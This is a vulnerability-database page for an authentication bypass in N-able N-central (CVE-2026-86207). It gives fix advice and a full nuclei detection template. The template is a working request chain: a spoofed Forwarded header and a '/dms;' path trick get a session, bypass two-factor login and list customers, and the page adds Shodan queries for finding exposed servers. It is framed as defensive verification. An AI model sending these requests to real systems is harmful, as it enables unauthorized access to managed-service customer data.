HexBrain

Browse / CVEs / CVE-2026-86207

CVE-2026-86207· n-able / n-central· CWE-287

N-able N-central - Authentication Bypass

criticalseverity
9.8CVSS score
1.3%likelihood of exploitation, next 30 days
70%of all CVEs are less likely
Readycheck to confirm it

An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.

Impact

Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.

Fix

Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later. Hosted N-central environments have already been patched by the vendor.

How to confirm it

Send: POST /dms;/services/ServerUI
Positive when: status_code == 200 and contains_all(body, 'SessionID') and contains(content_type, 'text/xml')
Send: POST /dms;/services/ServerUI
Positive when: status_code == 500 and contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')
Send: POST /dms;/services/ServerUI
Positive when: status_code == 200 and contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName') and contains(content_type, 'text/xml')

Run it with nuclei: nuclei -id CVE-2026-86207 -u <target>

The full check
id: CVE-2026-86207

info:
  name: N-able N-central - Authentication Bypass
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass in N-central < 2026.3 HF 3 leads to authentication bypass in internal-only APIs.
  impact: |
    Attackers can bypass authentication, potentially gaining unauthorized access to internal APIs and sensitive data.
  remediation: |
    Upgrade N-able N-central to version 2026.3.1.13 (2026.3 Hotfix 3) or later.
    Hosted N-central environments have already been patched by the vendor.
  reference:
    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86207
    epss-score: 0.01254
    epss-percentile: 0.6971
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 3
    vendor: n-able
    product: n-central
    shodan-query: title:"N-central"
    fofa-query: title="N-central"
  tags: cve,cve2026,n-able,n-central,auth-bypass,2fa-bypass,soap,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        regex:
          - '<SessionID[^>]*>([0-9]+)</SessionID>'
        internal: true

  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:userTwoFactorLogin>
              <ei:sessionID>{{session_id}}</ei:sessionID>
              <ei:userID>1</ei:userID>
              <ei:password>dummy</ei:password>
            </ei:userTwoFactorLogin>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains_all(body, 'ConfigProfileUtils.getConfigProfile()', 'NullPointerException')"
        condition: and
        internal: true

  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:customerList>
              <ei:in0>{{session_id}}</ei:in0>
              <ei:in1>1</ei:in1>
              <ei:in2>true</ei:in2>
              <ei:in3>false</ei:in3>
            </ei:customerList>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'customerListResponse', '<CustomerID', '<CustomerName')"
          - "contains(content_type, 'text/xml')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from